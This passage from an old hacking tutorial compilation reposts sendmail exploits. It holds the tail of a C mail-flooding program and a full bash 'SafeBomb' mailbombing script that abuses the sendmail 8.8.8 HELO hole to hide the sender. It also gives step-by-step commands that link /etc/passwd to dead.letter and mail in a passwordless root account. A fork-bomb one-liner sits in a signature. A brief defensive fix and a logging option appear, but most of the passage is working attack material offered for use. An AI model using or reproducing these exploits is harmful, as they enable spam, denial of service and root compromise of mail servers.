  3318. #ifdef MORECONN
  3319. for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
  3320. #endif
  3321.  
  3322. for(;;) {
  3323.  
  3324. bzero(&(serv_addr.sin_zero),8);
  3325.  
  3326. if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
  3327. perror("socket()");
  3328. exit(errno);
  3329. }
  3330.  
  3331. if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
  3332. perror("connect()");
  3333. exit(errno);
  3334. }
  3335.  
  3336. #ifdef VERBOSE
  3337. fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
  3338. #endif
  3339.  
  3340. bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
  3341. #ifdef VERBOSE
  3342. fprintf(stderr,buffer);
  3343. #else
  3344. fprintf(stderr,".");
  3345. #endif
  3346.  
  3347. say("helo foo\n");
  3348. say("mail from:root@localhost\n");
  3349. say("rcpt to:" RCPT_TO "\n");
  3350. say("data\n");
  3351.  
  3352. for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);
  3353.  
  3354. say("\n.\n");
  3355. sleep(1);
  3356. say("quit\n");
  3357.  
  3358. shutdown(sockfd,2);
  3359.  
  3360. close(sockfd);
  3361.  
  3362. #ifdef VERBOSE
  3363. fprintf(stderr,">Connection closed succesfully.\n");
  3364. #endif
  3365. }
  3366. #ifdef MORECONN
  3367. }
  3368. waitpid(chpid,NULL,0);
  3369. #endif
  3370. return 0;
  3371. }
  3372. --- CUT HERE ---
  3373.  
  3374. Bug in Sendmail's HELO Command (taken from rootshell.com)
  3375. ******************************
  3376. Note: this won't get you root access(14) or get you into partsin a system you're 
  3377. not supposed to get into, but this is still pretty cool. In fact, it let's you 
  3378. hide your IP/hostname when faking mail!
  3379.  
  3380.  
  3381. [ http://www.rootshell.com/ ]
  3382.  
  3383. We've had this exploit since January but sat on it until everyone had a
  3384. change of implementing a stable version of sendmail 8.9.x.  (And because the
  3385. last thing I want to do is help the spammers)  It has now made its way to
  3386. Bugtraq so without further ado.
  3387.  
  3388. --Rootshell 5/28/98
  3389.  
  3390.  
  3391. Date:         Fri, 22 May 1998 12:36:54 +0300
  3392. From:         Valentin Pavlov <root@PNS.NETBG.COM>
  3393. Subject:      about sendmail 8.8.8 HELO hole
  3394.  
  3395. I assume this this is pretty old (10 Jan 1998) but still...
  3396.  
  3397. I found a pretty simple way to prevent the hiding of the sender's IP
  3398. address. The method to hide the IP address of the sender is described
  3399. bellow. Now, if we want to keep track of such exploit attempts, we have to
  3400. compile sendmail 8.8.8 with a PICKY_HELO_CHECK defined in conf.h:
  3401.  
  3402. #define PICKY_HELO_CHECK 1
  3403.  
  3404. This will force sendmail to syslog an authentication warning
  3405. (message with LOG_INFO level) and include an X-Authentication-Warning:
  3406. header in the message, saying what host tried to hide itself. Check out
  3407. the source (srvrsmpt.c, main.c). Also, LogLevel must be set to a value
  3408. higher than 3 (default is 9) in sendmail.cf.
  3409.  
  3410.  
  3411. regards,
  3412. capone
  3413.  
  3414. -=-=-=-=-=-=-=-=-=-=-=-=-=-=
  3415. Make source, not [high]score
  3416. ----------------------------
  3417. Valentin 'Val Capone' Pavlov
  3418. ----------------------------
  3419. capone@netbg.com,  UKTC87203
  3420. -=-=-=-=-=-=-=-=-=-=-=-=-=-=
  3421.  
  3422.  
  3423. Now for the original message, describing the exploit:
  3424.  
  3425. -----Original Message-----
  3426. From: Micha3 Zalewski <lcamtuf@boss.staszic.waw.pl>
  3427. To: info@rootshell.com <info@rootshell.com>
  3428. Date: 10 stycznia 1998 12:28
  3429. Subject: Sendmail 8.8.8 (qmail?) HELO hole.
  3430.  
  3431.  
  3432. Here's a brief description of Sendmail (qmail) hole I found
  3433. recently:
  3434.  
  3435. When someone mailbombs you, or tries to send fakemail, spam, etc -
  3436. sendmail normally attachs sender's host name and it's address
  3437. to outgoing message:
  3438.  
  3439. --
  3440. >From spam@flooders.net Mon Jan  5 22:08:21 1998
  3441. Received: from spammer (marc@math.university.edu [150.129.84.5])
  3442.           by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
  3443.           for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
  3444. Date: Mon, 5 Jan 1998 22:07:54 +0100
  3445. From: spam@flooders.net
  3446. Message-Id: <3.14159665@pi>
  3447.  
  3448. MAILBOOM!!!
  3449. --
  3450.  
  3451. That's perfect - now you know, who is responsible for that annoying
  3452. junk in your mailbox: "Received: from spammer (marc@math.university.edu
  3453. [150.129.84.5])". Nothing easier...
  3454. But I found a small hole, which allows user to hide it's personality,
  3455. and send mails anonymously. The only thing you should do is to
  3456. pass HELO string longer than approx. 1024 B - sender's location and
  3457. other very useful information will be cropped!!! Message
  3458. headers should become not interesting. Sometimes, sender
  3459. may become quite untraceable (but not always, if it's possible
  3460. to obtain logs from machine which has been used to sent):
  3461.  
  3462. --
  3463. >From spam@flooders.net Mon Jan  5 22:09:05 1998
  3464. Received: from xxxxxxxxxxxxxx... [a lot of 'x's] ...xxxx
  3465. Date: Mon, 5 Jan 1998 22:08:52 +0100
  3466. From: spam@flooders.net
  3467. Message-Id: <3.14159665@pi>
  3468.  
  3469. MAILBOOM!!! Now guess who am I...
  3470. --
  3471.  
  3472.  
  3473. Here's a simple example of Sendmail's HELO hole usage. Note, this
  3474. script has been written ONLY to show how easy may be sending
  3475. fakemails, mailbombs, with cooperation of Sendmail ;) Script is
  3476. very slow and restricted in many ways, but explains the problem
  3477. well (note, some of non-Berkeley daemons are also affected,
  3478. probably Qmail?):
  3479.  
  3480. -- EXPLOIT CODE --
  3481. #!/bin/bash
  3482. TMPDIR=/tmp/`whoami`
  3483. PLIK=$TMPDIR/.safe
  3484. TIMEOUT=2
  3485. LIMIT=10
  3486. MAX=20
  3487.  
  3488. echo
  3489. echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
  3490. echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
  3491. echo
  3492.  
  3493. if [ "$4" = "" ]; then
  3494.   echo "USAGE: $0 msgfile address server sender"
  3495.   echo
  3496.   echo "  msgfile - file to send as a message body"
  3497.   echo "  address - address of lucky recipient"
  3498.   echo "  server  - outgoing smtp server w/sendmail"
  3499.   echo "  sender  - introduce yourself"
  3500.   echo
  3501.   echo "WARNING: For educational use ONLY. Mailbombing is illegal."
  3502.   echo "Think twice BEFORE you use this program in any way. Also,"
  3503.   echo "I've never said this program is 100% safe nor bug-free."
  3504.   echo
  3505.   sleep 1
  3506.   exit 0
  3507. fi
  3508.  
  3509. if [ ! -f $1 ]; then
  3510.   echo "Message file not found."
  3511.   echo
  3512.   exit 0
  3513. fi
  3514.  
  3515. echo -n "Preparing message..."
  3516. mkdir $TMPDIR &>/dev/null
  3517. chmod 700 $TMPDIR
  3518. echo "echo \"helo 
  3519. _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
  3520. _safebomb__safebomb__safebomb__sa
  3521. febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
  3522. febomb__safebomb__safebomb__safebomb__safebomb__saf
  3523. ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
  3524. ebomb__safebomb__safebomb__safebomb__safebomb__safe
  3525. bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
  3526. bomb__safebomb__safebomb__safebomb__safebomb__safeb
  3527. omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
  3528. omb__safebomb__safebomb__safebomb__safebomb__safebo
  3529. mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo
  3530. mb__safebomb__safebomb__safebomb__safebomb__safebom
  3531. b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
  3532. b__safebomb__safebomb__safebomb__safebomb__safebomb
  3533. b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
  3534. b__safebomb__safebomb__safebomb__safebomb__safebomb
  3535. __safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
  3536. __safebomb__safebomb__safebomb__safebomb__safebomb_
  3537. _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\"" >$PLIK
  3538. echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
  3539. echo "echo \"rcpt to: $2\"" >>$PLIK
  3540. echo "echo \"data\"" >>$PLIK
  3541. echo "cat <<__qniec__" >>$PLIK
  3542. cat $1 >>$PLIK
  3543. echo "__qniec__" >>$PLIK
  3544. echo "echo \".\"" >>$PLIK
  3545. echo "echo \"quit\"" >>$PLIK
  3546. echo "sleep $TIMEOUT" >>$PLIK
  3547. chmod +x $PLIK
  3548. echo "OK"
  3549.  
  3550. echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
  3551. SENT=0
  3552.  
  3553. while [ -f $1 ]; do
  3554.   $PLIK|telnet $3 25 &>/dev/null &
  3555.   let SENT=SENT+1
  3556.   echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
  3557.   CONNECTED=`ps|grep -c "telnet $3"`
  3558.   if [ "$LIMIT" -le "$CONNECTED" ]; then
  3559.     while [ "$LIMIT" -le "$CONNECTED" ]; do
  3560.       sleep 1
  3561.     done
  3562.   fi
  3563.   if [ "$SENT" -ge "$MAX" ]; then
  3564.     echo "It's just an example, sorry."
  3565.     echo
  3566.     exit 0
  3567.   fi
  3568. done
  3569. -- EOF --
  3570.  
  3571. Suggested fix: insert additional length limit into HELO/EHLO
  3572. parameter scanning routine OR disable AllowBogusHELO (but it
  3573. may cause serious troubles). I have no 8.8.8 sources at the
  3574. time, so execuse me if it's unclear.
  3575.  
  3576. PS:
  3577.  
  3578. --
  3579. From: Gregory Neil Shapiro <sendmail+gshapiro@sendmail.org>
  3580.  
  3581. I was able to reproduce the header problem by lengthening the HELO string
  3582. in your script.
  3583.  
  3584. [...]
  3585.  
  3586. This will be fixed in sendmail 8.9.
  3587. --
  3588.  
  3589. _______________________________________________________________________
  3590. Micha3 Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
  3591. Iterowaæ jest rzecz± ludzk±, wykonywaæ rekursywnie - bosk± [P. Deustch]
  3592. =--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] ---------=
  3593.  
  3594. Giant Bug in Sendmail 8.8.4 (taken from hackersclub.com)
  3595. ***************************
  3596.  
  3597.                          sendmail8.8.4 exploit 
  3598.                            
  3599. "sendmail? 'tis the bugiest program" -phriend-
  3600.  
  3601. Ok, here's a brief and interesting explonation of this famous exploit. This
  3602. exploit uses sendmail version 8.8.4 and it requires that you have a shell
  3603. acount on the server in question. The exploit creates a link from
  3604. /etc/passwd to /var/tmp/dead.letter Very simple really. Here's how it
  3605. works, below are the exact commands as you have to type them (for the
  3606. technically challendged ones)
  3607.  
  3608.    * ln /etc/passwd /var/tmp/dead.letter
  3609.    * telnet target.host 25
  3610.    * mail from: nonexsistent@not.an.actual.host.com
  3611.    * rcpt to: nonexsistent@not.as.actual.host.com
  3612.    * data
  3613.    * lord::0:0:leet shit:/root:/bin/bash
  3614.    * .
  3615.    * quit
  3616.  
  3617. Kaboom, you're done, telnet to port 23 and log in as lord, no password
  3618. required. Thanx to a little bit of work we did, lord just happens to have
  3619. the same priviledges as root.
  3620.  
  3621. There are a couple of reasons why this might not work.
  3622.  
  3623.   1. /var and / are different partitions (as you already know, you can't
  3624.      make hard links between different partitions)
  3625.   2. There is a postmaster account on a machine or mail alias, in which
  3626.      case, your mail will end up there instead of being written to a
  3627.      etc/passwd
  3628.   3. /var/tmp doesn't exist or isn't publicly writable
  3629.  
  3630. Duncan Silver 
  3631. www.hackersclub.com/uu
  3632.  
  3633. Editor's notes: lord::0:0:leet shit:/root:/bin/bash is a line out of a Unix 
  3634. password file(33).
  3635.  
  3636. Courtesy: blacksun.box.sk
  3637. ---------------------------------------------------------------------------
  3638. Compiled By: Ankit Fadia
  3639.              ankit@bol.net.in
  3640.  
  3641. To receive more tutorials on Hacking, Perl, C++ and Viruses/Trojans join my 
  3642. mailing list:
  3643.  
  3644. Send an email to programmingforhackers-subscribe@egroups.com to join it.
  3645.  
  3646. Visit my Site to view the archive of tutorials written by me at: 
  3647. http://www.crosswinds.net/~hackingtruths